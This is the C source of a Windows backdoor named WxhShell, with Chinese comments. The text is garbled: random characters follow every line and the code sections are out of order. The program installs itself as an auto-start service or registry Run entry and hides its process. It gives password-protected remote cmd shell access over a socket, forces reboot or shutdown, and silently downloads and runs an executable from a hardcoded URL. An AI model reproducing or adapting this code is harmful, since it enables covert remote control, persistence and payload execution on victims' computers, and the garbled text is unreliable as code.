    if(Boot(SHUTDOWN)) : [328X2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ".$kOH_:  
    else { 'j, ([  
    closesocket(wsh); 0XCAnMVo  
    ExitThread(0); ?%qaoxG37  
    } e98QT9  
    break; Y6H?ZOq  
    } D"$Y, d  
  // 获取shell &*ocr&  
  case 's': { CJ%'VijhD  
    CmdShell(wsh); K8MET&  
    closesocket(wsh); o5DT1>h  
    ExitThread(0); jOrfI-&.G  
    break;  Fpn*]x  
  } QOYMT( j  
  // 退出 N{Z+  
  case 'x': { IF|;;*Z8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f<VK\%M  
    CloseIt(wsh); M!Ao!D[  
    break; 0#eb] c   
    } rf4f'cUa  
  // 离开 y&5 O)  
  case 'q': { .R"VLE|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T)7U+~nQ"  
    closesocket(wsh); > !s<JKhI  
    WSACleanup(); %aMC[i  
    exit(1); G$V=\60a-  
    break; `x#S. b  
        } R@z`  
  } 2p\xgAW?  
  } wn!=G~nB  
E z}1Xse  
  // 提示信息 f7\X3v2W}3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O!f37n-TB  
} 6)*fr'P  
  } .!0Rh9yyl  
9?O8j1F  
  return; 4s9@4  
} so$(-4(E O  
mHW%:a\L  
// shell模块句柄 Gt*K:KT=L  
int CmdShell(SOCKET sock) 0Atha>w^o~  
{ gveJ1P  
STARTUPINFO si; k89N}MA   
ZeroMemory(&si,sizeof(si)); `14@dk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }BI6dZ~2A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y,|2hrj/0E  
PROCESS_INFORMATION ProcessInfo; s9CmR]C  
char cmdline[]="cmd"; CZ u=/8?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wzju)qS  
  return 0; XF)N_}X^  
}  6d;}mhH  
J QnaXjW2  
// 自身启动模式 O{~Xp!QQt  
int StartFromService(void) G>0d^bx;E  
{ P4_B.5rrJ  
typedef struct hN!;Tny  
{ L +Uq4S^  
  DWORD ExitStatus; T*%GeY [  
  DWORD PebBaseAddress; CE96e y  
  DWORD AffinityMask; 9]lI?j]o  
  DWORD BasePriority; 6_QAE6A  
  ULONG UniqueProcessId; 'vVWUK956  
  ULONG InheritedFromUniqueProcessId; 5Ex[}y9L`  
}   PROCESS_BASIC_INFORMATION; JFX}))7  
~^a>C  
PROCNTQSIP NtQueryInformationProcess; T[1iZ  
Y0|){&PCt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iY07lvG<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qw2-Vv4!"  
jGz~}&B  
  HANDLE             hProcess; }vU/]0@,E  
  PROCESS_BASIC_INFORMATION pbi; oJQS&3;/r  
/"D,gn1S*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lkTA"8d  
  if(NULL == hInst ) return 0; 1mJUl x  
JZ-@za6u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^-q{:lx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <Qih&P9;>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U?f-/@fc  
83Rs1}*  
  if (!NtQueryInformationProcess) return 0; f|w;u!U(  
AP,ZMpw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E!1\9wzM{  
  if(!hProcess) return 0; ri8=u$!  
9MZ)-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hDB(y4/  
3WQa^'u  
  CloseHandle(hProcess); uGC5XX^  
.uauSx/#4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }g-w[w 7p  
if(hProcess==NULL) return 0; eo4z!@pRN  
$zCCeRP  
HMODULE hMod; l3F$5n  
char procName[255]; >YWK"~|i~  
unsigned long cbNeeded; )4B`U(%M~  
zX*5yNd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &gr 8;O:0  
"A+7G5  
  CloseHandle(hProcess); 'a+^= c  
{Dl@/fz  
if(strstr(procName,"services")) return 1; // 以服务启动 z;oia!9z  
X [dfms;H  
  return 0; // 注册表启动 ;-~E !_$  
} rrRv 7J&Q  
5?`4qSUz  
// 主模块 DmuQE~DV  
int StartWxhshell(LPSTR lpCmdLine) p P@q `  
{ uoE+:,P  
  SOCKET wsl; )r{Wj*u  
BOOL val=TRUE; iZfZF  
  int port=0; tkk8b6%h?p  
  struct sockaddr_in door; o"X..m<  
pp(09y`]  
  if(wscfg.ws_autoins) Install(); =Mwuhk|*  
q:)PfP+  
port=atoi(lpCmdLine); KZ[TW,Gw  
|s/N ?/qi  
if(port<=0) port=wscfg.ws_port; lmHQ"z 3G  
iy]L"7&Z2  
  WSADATA data; S`5bcxI_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bi+M28m  
aQL0Sj:,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :$K=LV#Iru  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lq_UCCnv5  
  door.sin_family = AF_INET; C=o-3w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,i}EGW,9q  
  door.sin_port = htons(port); M| Gl&   
hR|xUp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ._tEDY/1m  
closesocket(wsl);  ;303fS  
return 1; cSYCMQ1ro  
} 2_u+&7  
Z ;rM@x  
  if(listen(wsl,2) == INVALID_SOCKET) { H*k\C  
closesocket(wsl); KH?6O%d  
return 1; }[z7V  
} sz270k%[  
  Wxhshell(wsl); U=KUx  
  WSACleanup(); PUO7Z2  
S>T ;`,  
return 0; +|dL R*s  
~ 2Hw\fx  
} HN367j2e  
Ln&~t(7  
// 以NT服务方式启动 Z+U -+eG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ',`Qx{tQ)  
{ aE)1LP  
DWORD   status = 0; `)8~/G%  
  DWORD   specificError = 0xfffffff; _GxC|d  
w=_^n]`R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5TpvJ1G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .yfp-n4H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $s}w23nB  
  serviceStatus.dwWin32ExitCode     = 0; 3AdYZ7J  
  serviceStatus.dwServiceSpecificExitCode = 0; "ADI .  
  serviceStatus.dwCheckPoint       = 0;  YC 6guy>  
  serviceStatus.dwWaitHint       = 0; T;BFO5G@  
Lb Jf5xdi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2Cy,#X%j>  
  if (hServiceStatusHandle==0) return; z@e(y@  
s'N<  
status = GetLastError(); [! ;sp~  
  if (status!=NO_ERROR)  t{},Th  
{ M} X `  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pJe!~eyHm  
    serviceStatus.dwCheckPoint       = 0; S+.>{0!S"  
    serviceStatus.dwWaitHint       = 0; ^`lDw  
    serviceStatus.dwWin32ExitCode     = status; | X1axRO  
    serviceStatus.dwServiceSpecificExitCode = specificError; QlB9m2XB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )=gU~UV  
    return; *ilVkV"U  
  } q)?!]|pZ  
~ :{mKc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H0OO +MCe  
  serviceStatus.dwCheckPoint       = 0; 1ED7 .#g  
  serviceStatus.dwWaitHint       = 0; IfB .2e`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z}0{FwW"4  
} M .6BFC  
qZ>_{b0f  
// 处理NT服务事件,比如:启动、停止 -!7Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HTiLA%%6  
{ {9|*au(K  
switch(fdwControl) ;|XX^  
{ 0#'MR.,  
case SERVICE_CONTROL_STOP: g"'BsoJ  
  serviceStatus.dwWin32ExitCode = 0; zx8@4?bK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9C?SEbC  
  serviceStatus.dwCheckPoint   = 0; b 4^O=  
  serviceStatus.dwWaitHint     = 0; aKW-(5<JW  
  { :D3:`P>,c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  1hi  
  } 93.\.&L\  
  return; ?QKD YH(  
case SERVICE_CONTROL_PAUSE: w3 vZ}1|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1l)j(,Zd*  
  break; 7&P70DO  
case SERVICE_CONTROL_CONTINUE: pFMjfWD,C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5V(#nz  
  break; dKEy6C"@  
case SERVICE_CONTROL_INTERROGATE: a,4GE'  
  break; 0s//&'*Q  
}; go=xx.WJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yR{rje*  
} ))dqC l  
*"_W1}^  
// 标准应用程序主函数 pLF,rOb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'W9[Vm  
{ qF(i1#  
sd+_NtH  
// 获取操作系统版本 =pmG.>Si  
OsIsNt=GetOsVer(); 4s%zvRu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vCt][WX(  
: i.5 < f  
  // 从命令行安装 nnBS;5  
  if(strpbrk(lpCmdLine,"iI")) Install(); hFycSu  
~~&Bp_9QXN  
  // 下载执行文件 $D65&R  
if(wscfg.ws_downexe) { bYQ@!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w#a`k9y  
  WinExec(wscfg.ws_filenam,SW_HIDE); *B@#A4f"  
} ?r)>SB3(e  
)AieO-4*  
if(!OsIsNt) { v;z8g^L  
// 如果时win9x,隐藏进程并且设置为注册表启动 "UY34a^I  
HideProc();  nXy"  
StartWxhshell(lpCmdLine); n87Uf$  
} p;o"i_!  
else =C(BZ+-^  
  if(StartFromService()) ]YZ_kc^(V;  
  // 以服务方式启动 F&7Z(  
  StartServiceCtrlDispatcher(DispatchTable); vnbY^ASdw  
else elKp?YN  
  // 普通方式启动 OUN~7]OD%  
  StartWxhshell(lpCmdLine); O['[_1n_u]  
oMM@{Jp  
return 0; JY:Fu  
} sT iFh"8d>  
vP'!&}  
s^)(.e_  
4\V/A+<W  
=========================================== Oi C|~8  
N1y,~Z  
I WT|dA >  
Oel%l Y}m3  
_a$5"  
pox;NdX7  
" {9P(U\]e]k  
w D6QN  
#include <stdio.h> uJ1oo| sn  
#include <string.h> nWf8r8  
#include <windows.h> 9"D t3>Z  
#include <winsock2.h> 4Rp[>}L  
#include <winsvc.h> }(na)B{m  
#include <urlmon.h> B\=T_'E&  
`\ nKPj  
#pragma comment (lib, "Ws2_32.lib") &432/=QSm0  
#pragma comment (lib, "urlmon.lib") J7EWaXGbz  
O]="ggq&  
#define MAX_USER   100 // 最大客户端连接数 =NK'xPr  
#define BUF_SOCK   200 // sock buffer QDK }e:4q  
#define KEY_BUFF   255 // 输入 buffer 6PWw^Cd  
P?8$VAkj  
#define REBOOT     0   // 重启 eA(FWO  
#define SHUTDOWN   1   // 关机 )`|`PB  
/ a}N6KUi  
#define DEF_PORT   5000 // 监听端口 Zl!  
h^WMv *2  
#define REG_LEN     16   // 注册表键长度 Xk/:a}-l  
#define SVC_LEN     80   // NT服务名长度 j:48l[;ed  
r_rdd}=b'  
// 从dll定义API Bbb":c6w0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t > 64^nS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .[:WMCc\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 97>|eDc Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XTb .cqOC  
>)>~S_u  
// wxhshell配置信息 ,&O&h2=  
struct WSCFG { TEK#AR  
  int ws_port;         // 监听端口 //$^~} wt  
  char ws_passstr[REG_LEN]; // 口令 w 17{2']  
  int ws_autoins;       // 安装标记, 1=yes 0=no "yU<X\n i  
  char ws_regname[REG_LEN]; // 注册表键名  )iPU   
  char ws_svcname[REG_LEN]; // 服务名 U~zy;M T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CX {M@x3m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }Vm'0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g+&wgyq5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jW| ,5,43  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?^8.Sa{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0+_;6  
{FC<vx{42  
}; _39VL  
S@,x^/vT  
// default Wxhshell configuration 0@&;JMh6<  
struct WSCFG wscfg={DEF_PORT, ^d9o \  
    "xuhuanlingzhe", ^@'zQa  
    1, 8-O: e  
    "Wxhshell", *TxR2pC}  
    "Wxhshell", d(Yuz#Qcrh  
            "WxhShell Service", M|.ykA<D  
    "Wrsky Windows CmdShell Service", %~Ymb&ugg  
    "Please Input Your Password: ", Cq\{\!6[  
  1, VdL }$CX$  
  "http://www.wrsky.com/wxhshell.exe", Kt"4<'  
  "Wxhshell.exe" Us>n`Lj@  
    }; ' #t1e]  
JQ]MkP  
// 消息定义模块 [#:yOZt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p5nrPL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sY}0PB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <V8=*n"mR  
char *msg_ws_ext="\n\rExit."; qV$0 ";d  
char *msg_ws_end="\n\rQuit."; VhgcvS@V  
char *msg_ws_boot="\n\rReboot..."; s"wz !{G4  
char *msg_ws_poff="\n\rShutdown..."; =NRiro  
char *msg_ws_down="\n\rSave to "; Tkh?F5l  
dTU`@!f  
char *msg_ws_err="\n\rErr!"; (b.Mtd  
char *msg_ws_ok="\n\rOK!"; y<yU5  
AX{yfL  
char ExeFile[MAX_PATH]; Ojp|/yd^YL  
int nUser = 0; iA"H*0  
HANDLE handles[MAX_USER]; #vcQ =%;O  
int OsIsNt; SR/ "{\C  
s*>B"#En  
SERVICE_STATUS       serviceStatus; DK%@ [D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bde6 ;=oM  
-K5u5l}  
// 函数声明 m?1AgsBR  
int Install(void); uKT\\1Jrq  
int Uninstall(void); aQ1n1OBr  
int DownloadFile(char *sURL, SOCKET wsh); \AD|;tA\vE  
int Boot(int flag); (rf8"T!"  
void HideProc(void); ~?lmkfy  
int GetOsVer(void); #W L>ha v  
int Wxhshell(SOCKET wsl); `~qVo4V6Z  
void TalkWithClient(void *cs); 1lv. @-  
int CmdShell(SOCKET sock);  8U-<Q>  
int StartFromService(void); 8{Wh4~|+  
int StartWxhshell(LPSTR lpCmdLine); niCq`!  
sQ82(N7l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {1vlz>82  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); # 9ZO1\  
)x&>Cf<,  
// 数据结构和表定义 SYv5{bff =  
SERVICE_TABLE_ENTRY DispatchTable[] = tlmfDQD  
{ `?(9Bl  
{wscfg.ws_svcname, NTServiceMain}, $0;Dk,  
{NULL, NULL} +]# p m9  
}; (ZK(ODn)i  
Biy$p6  
// 自我安装 `lE8dwL  
int Install(void) L?hWH0^3  
{ }RkD7  
  char svExeFile[MAX_PATH]; x#tP)5n?s*  
  HKEY key; -$j|&l  
  strcpy(svExeFile,ExeFile); Ni61o?]Nj  
mk?F+gh  
// 如果是win9x系统,修改注册表设为自启动 E njSio0  
if(!OsIsNt) { </h}2x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z Q11dLjs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t=r*/DxX=  
  RegCloseKey(key); ^/Frg<>'p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GEfTs[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WcE/,<^*  
  RegCloseKey(key); N1z:9=(I  
  return 0;  f(*^zga,  
    } )}R w@70L-  
  } Q-f?7*>  
} Gn?<~8a  
else { z_ia3k<  
>z69r0)>  
// 如果是NT以上系统,安装为系统服务 r(/+- t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lc13PTz>>g  
if (schSCManager!=0) oyo V1jO  
{ Z|$OPMLX  
  SC_HANDLE schService = CreateService }JBLzk5|  
  ( {o.i\"x;  
  schSCManager, +# tmsv]2  
  wscfg.ws_svcname, VH$hQPP5d  
  wscfg.ws_svcdisp, ]s:%joj%^  
  SERVICE_ALL_ACCESS, #vvQ 1ub  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;*8,PV0b_<  
  SERVICE_AUTO_START, Q.L.B7'e7  
  SERVICE_ERROR_NORMAL, z] teQaUZ  
  svExeFile, R9lb<`  
  NULL, Z\*jt B:  
  NULL, c o%-d  
  NULL, 6"Rw&3D?  
  NULL, +d,Z_ 6F  
  NULL 0N>R!  
  ); l)( 3]  
  if (schService!=0) A<s9c=d6  
  { qCgoB 0  
  CloseServiceHandle(schService); xsdi\ j;n>  
  CloseServiceHandle(schSCManager); 0:4w@"Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qEV>$>}  
  strcat(svExeFile,wscfg.ws_svcname); VTvNn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a/H|/CB 3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5j$ a3nH  
  RegCloseKey(key); )*n2 ,n  
  return 0; ~5b^Gvb?  
    } Eh&HN-&  
  } H)l7:a  
  CloseServiceHandle(schSCManager); I Z{DR  
} l^E)XWd  
} c0u1L@tj  
"AUHe6Yv  
return 1; .=<<b|  
} $fl+l5?9  
 a EmLf  
// 自我卸载 ,fW%Qv  
int Uninstall(void) C{8(ew  
{ z1 P=P%F  
  HKEY key; rRzc"W}K+  
OtFGo 8  
if(!OsIsNt) { tEHgQto  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ae|j#!~oi  
  RegDeleteValue(key,wscfg.ws_regname); K/ 5U;oC  
  RegCloseKey(key); 1=Nh<FuQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ct![eWsuB  
  RegDeleteValue(key,wscfg.ws_regname); ~zT743  
  RegCloseKey(key); R\d)kcy4  
  return 0; sW]fPa(cn,  
  } aJ^RY5  
} ]KE"|}B  
} mJL=H  
else { |QB[f*y5  
!U8n=A#,-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >crFIkOJ  
if (schSCManager!=0) _/`H<@B_U  
{  q,v)X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9S]]KEGn4  
  if (schService!=0) Cmj+>$')0  
  { "8sB,$  
  if(DeleteService(schService)!=0) { 7S]<?>*  
  CloseServiceHandle(schService); .DG`~Fpk  
  CloseServiceHandle(schSCManager); UY$Lqe~  
  return 0; 7F@#6  
  } tzV^.QWm  
  CloseServiceHandle(schService); o{?Rz3z  
  } 4RoE>m1[G  
  CloseServiceHandle(schSCManager); g,] GzHV1  
} Ek%mX"  
} XlDN)b5v{  
Y~[k_!  
return 1; 5Gw B1}q  
} pa8R;A70Dl  
hX9vtV5L  
// 从指定url下载文件 J_rb3  
int DownloadFile(char *sURL, SOCKET wsh) I$HO[Z!  
{ g?i0WS  
  HRESULT hr; "9bd;Tt:  
char seps[]= "/"; vkE a[7  
char *token; ]<Kkq !  
char *file; " ';K$&,[  
char myURL[MAX_PATH]; *~SanL\  
char myFILE[MAX_PATH]; d !=AS  
?3=y]Vb+  
strcpy(myURL,sURL); tqXr6+!Q  
  token=strtok(myURL,seps); fobnK~2  
  while(token!=NULL) @Tz}y"VG  
  { [H5BIM@{  
    file=token; $~5ax8u&!#  
  token=strtok(NULL,seps); Dlqvz|X/  
  } "cDMFu  
5e}adHjM  
GetCurrentDirectory(MAX_PATH,myFILE); q)PLc{NO  
strcat(myFILE, "\\"); PJ3M,2H1b.  
strcat(myFILE, file); '4"c#kCKL  
  send(wsh,myFILE,strlen(myFILE),0); S-%itrB*  
send(wsh,"...",3,0); [2\jQv\Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5DxNHEuS  
  if(hr==S_OK) 13K|=6si  
return 0; ^n~bx *f  
else 1'4?}0Dok  
return 1; +LwwI*;b  
[D_s`'tg  
} =}UcYC6l  
=k^ d5  
// 系统电源模块 hnBX enT6  
int Boot(int flag) 7 tQ?av  
{ 8@A}.:  
  HANDLE hToken; wU(!fw\  
  TOKEN_PRIVILEGES tkp; n4InZ!)  
p!>DA?vF  
  if(OsIsNt) { /^hc8X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Aa4 DJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~`X$b F  
    tkp.PrivilegeCount = 1; g$ h`.Fk,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N.UeuLz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,xI FF-[0  
if(flag==REBOOT) { 9v@P|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kw=][}d`D  
  return 0; )}lO%B'K  
} ^?5HagA  
else { H7%q[O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ToR@XL!%rP  
  return 0; 8/T[dn  
} ;u;_\k<qK  
  } 7_ s7 );  
  else { \=uD)9 V  
if(flag==REBOOT) { zmhL[1qj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zS*vKyye>  
  return 0; )|wC 1J!L  
} {H3B1*Dk  
else { 9";qR,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 21[=xboU  
  return 0; d.yATP  
} of8 >xvE|  
} ]w_JbFmT  
*I.eCMDa  
return 1; [\-)c[/  
} s"5wnp6pW  
Y1G/1Z# 2  
// win9x进程隐藏模块 (f;.`W  
void HideProc(void) P,@/ap7J  
{ ~JHEr48  
)F+wk"`+6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p|g7Z  
  if ( hKernel != NULL ) S$n?  
  { m:6*4_!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \+j:d9?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ),J6:O&  
    FreeLibrary(hKernel); `Wd4d2aLG  
  } ~9Qd83`UH  
M>d^.n  
return; 6TDa#k5v  
} _B0C]u3D  
aC94g7)`  
// 获取操作系统版本 |7QSr!{_  
int GetOsVer(void) ~S\,  
{ B`)TRt+'.  
  OSVERSIONINFO winfo; XhUVDmeUMb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %UlgG 1?A  
  GetVersionEx(&winfo); q $PO. #  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {F;"m&3Lt  
  return 1; ^hcK&  
  else '^`iF,rg  
  return 0; wZVLpF+7  
} XT?wCb41R  
Clb7=@f  
// 客户端句柄模块 7(d#zu6n  
int Wxhshell(SOCKET wsl) *dN_=32u  
{ KM?w{ ~9  
  SOCKET wsh; -S#jOr  
  struct sockaddr_in client; 3_8W5J3I  
  DWORD myID; kD(#LM<9s  
\k{d'R#~(  
  while(nUser<MAX_USER) Mm;[f'{M)  
{ 3&6sQ-}*  
  int nSize=sizeof(client); "}vxHN#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4~1lP&  
  if(wsh==INVALID_SOCKET) return 1; @z^7*#vQv  
~G1B}c]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~OWpk)Vq  
if(handles[nUser]==0) (8~D ^N6Z  
  closesocket(wsh); DMOP*;Uk  
else UF$O@l  
  nUser++; "7eL&  
  } 7AlL,&+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dQ_hlx!J  
(|>rDk;  
  return 0; -A@/cS%p  
} l6zYiM  
PS8^=  
// 关闭 socket AH-BZ8  
void CloseIt(SOCKET wsh) \OXQ%J2v  
{ ]( FFvqA  
closesocket(wsh); gVrfZ&XF84  
nUser--; !hjF"Pa  
ExitThread(0); KciN"g|X  
} |h&Z.  
kj6H+@ {  
// 客户端请求句柄 #lO ^PK  
void TalkWithClient(void *cs) [=",R&uD$  
{ `Tei  
p[ &b@U#  
  SOCKET wsh=(SOCKET)cs; oJQ \?~  
  char pwd[SVC_LEN]; z;MPp#Y  
  char cmd[KEY_BUFF]; D8{ ,}@  
char chr[1]; $+PyW( r  
int i,j; ?L0|$#Iw  
X`J86G)  
  while (nUser < MAX_USER) { B*t1Y<>x  
mZG n:f}=  
if(wscfg.ws_passstr) { 4;Vi@(G)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V(8,94vm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j^WYM r,  
  //ZeroMemory(pwd,KEY_BUFF); j+rY  
      i=0; M| Nh(kvH  
  while(i<SVC_LEN) { 9kB R/{  
|o+*Iy)  
  // 设置超时 b 0qA  
  fd_set FdRead; [H{@<*  
  struct timeval TimeOut; mZM,"Wq,  
  FD_ZERO(&FdRead); CI-1>= "OE  
  FD_SET(wsh,&FdRead); s4QCun~m  
  TimeOut.tv_sec=8; )%PMDG|  
  TimeOut.tv_usec=0; {pA&Q{ ^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mi.,Z`]o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kBxEp/y  
MkhD*\D /  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )+DDIq  
  pwd=chr[0]; w!z* ?k=Da  
  if(chr[0]==0xd || chr[0]==0xa) { X%iJPJLza  
  pwd=0; K7@|2;e  
  break; =XK}eQ_d  
  } | KY-kRN7  
  i++; <LzxnTx=  
    } V%z?wDC  
K|l}+:k  
  // 如果是非法用户,关闭 socket *[m:4\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y/:%S2za>  
} d!4TwpIgx  
G&@d J &B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QBGjH^kL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I~^Xw7  
!XM<`H/  
while(1) { !v(^wqna\  
( mn:!3H%  
  ZeroMemory(cmd,KEY_BUFF); "LJV}L  
G0~Z|P  
      // 自动支持客户端 telnet标准   8};kNW^2m  
  j=0; KVr9kcs  
  while(j<KEY_BUFF) { GzBPI'C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,k=8|=aF  
  cmd[j]=chr[0]; ~#i2reG5  
  if(chr[0]==0xa || chr[0]==0xd) { !tcz_%  
  cmd[j]=0; k5J18S  
  break; ~( 0bqt3c  
  } u{h67N  
  j++; znSlSQpTv  
    } I$p1^8~L  
) <{u oH  
  // 下载文件 Bs`{qmbC  
  if(strstr(cmd,"http://")) { =mF"D:s*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >3pT).wH|M  
  if(DownloadFile(cmd,wsh)) TOF V`7q;3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RwYFBc  
  else ?{jey_]M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e9 @{[  
  } 93:oXyFjD  
  else { KO%$  
W$2 \GPJt  
    switch(cmd[0]) { ?Z_T3/ f  
  Kh[l};/F  
  // 帮助 ~, E }^  
  case '?': { l U8pX$  
